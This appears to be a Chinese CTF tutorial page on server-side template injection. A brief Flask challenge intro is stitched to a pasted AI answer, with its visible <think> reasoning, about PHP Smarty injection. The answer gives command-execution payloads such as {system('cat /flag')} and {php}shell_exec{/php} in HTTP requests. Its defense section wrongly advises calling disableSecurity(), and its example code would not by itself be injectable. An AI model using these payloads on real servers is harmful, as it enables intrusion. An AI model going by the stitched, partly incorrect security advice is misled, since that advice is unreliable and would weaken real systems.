CTF SSTI模板注入详解

我们用一题“百度杯”CTF比赛来实战解题:

 

这边临时靶场的URL是:eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/

首先bp暴力破解先找到一个传参,一般都是一些简单的id,name等等,这里是name

尝试name={ {5-4}},发现返回1,可以确认是python,模板注入

<think>嗯,用户想找关于PHP Smarty模板注入CTF例题。我需要先回忆一下Smarty模板引擎的相关知识,以及常见的注入漏洞。Smarty在PHP中广泛使用,它的模板语法可能在某些版本中存在安全问题,尤其是在未正确过滤用户输入的情况下。 首先,我应该回顾一下Smarty的模板标签,比如{...},以及如何通过用户输入执行任意代码。例如,如果开发者直接将用户输入拼接到模板中,而没有进行适当的转义或过滤,攻击者可能插入恶意Smarty标签,导致服务器端模板注入SSTI)。 接下来,我需要查找相关的CTF例题或漏洞示例。记得之前有个例子是利用{$smarty.version}来获取Smarty版本,这可能帮助攻击者选择合适的利用方式。另外,Smarty允许使用{system('命令')}来执行系统命令,如果模板引擎配置不当,这可能导致远程代码执行。 还要考虑PHP中变量名的转换规则,比如引用[1]提到的,PHP会将传入变量名中的某些字符转换为下划线,但如果有[符号提前出现,后面的点就不会被转换。这可能影响参数传递的方式,比如构造特定的参数名绕过过滤。 然后,参考其他模板注入的例子,比如Flask的SSTI漏洞(引用2和3),用户输入被直接嵌入模板导致漏洞。类似地,Smarty的注入可能也需要将用户输入作为模板的一部分处理,从而触发恶意代码。 另外,可能需要结合PHP的其他特性,比如反序列化漏洞(引用4中的例子),但用户的问题主要集中在Smarty模板注入,所以应聚焦于此。 最后,要确保提供的例题和Payload符合实际CTF中的情况,比如使用{system('cat /flag')}来读取flag文件,或者通过{php}标签(如果启用的话)执行PHP代码。需要注意的是,Smarty的安全配置可能禁用某些危险函数,因此需要根据版本和配置调整Payload。 总结步骤:解释Smarty模板注入的原理,给出一个CTF例题的示例代码,展示如何构造Payload利用漏洞,并提供相关问题供进一步学习。同时引用相关的参考资料,特别是关于PHP参数处理和SSTI的部分。</think>### PHP Smarty模板注入CTF例题解析 #### 示例CTF题目场景 假设存在以下PHP代码(基于Smarty模板引擎): ```php <?php require_once('smarty/libs/Smarty.class.php'); $smarty = new Smarty(); $name = $_GET['name']; $smarty->assign('name', $name); $smarty->display('template.tpl'); ?> ``` 其中`template.tpl`内容为: ```smarty Hello, {$name}! ``` #### 漏洞原理 1. **未过滤的用户输入**:`$name`直接通过`$_GET['name']`获取并传入模板,攻击者可构造包含Smarty标签的Payload。 2. **Smarty标签执行**:Smarty默认允许执行模板中的表达式,例如通过`{system('id')}`执行系统命令[^1]。 #### 利用Payload示例 1. **读取系统信息** ```http GET /vuln.php?name={$smarty.version} HTTP/1.1 ``` 响应中会返回Smarty版本,例如`3.1.36`。 2. **执行系统命令** ```http GET /vuln.php?name={system('cat /flag')} HTTP/1.1 ``` 若服务器配置允许,会输出flag文件内容[^2]。 3. **利用PHP函数**(需Smarty启用`{php}`标签) ```http GET /vuln.php?name={php}echo shell_exec('ls');{/php} HTTP/1.1 ``` 返回当前目录文件列表(仅适用于旧版本Smarty或未禁用`{php}`标签的情况)[^3]。 --- #### 防御建议 1. 过滤用户输入中的特殊符号(如`{`、`$`)。 2. 禁用Smarty危险函数: ```php $smarty->disableSecurity(); ``` 3. 更新Smarty至最新版本。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值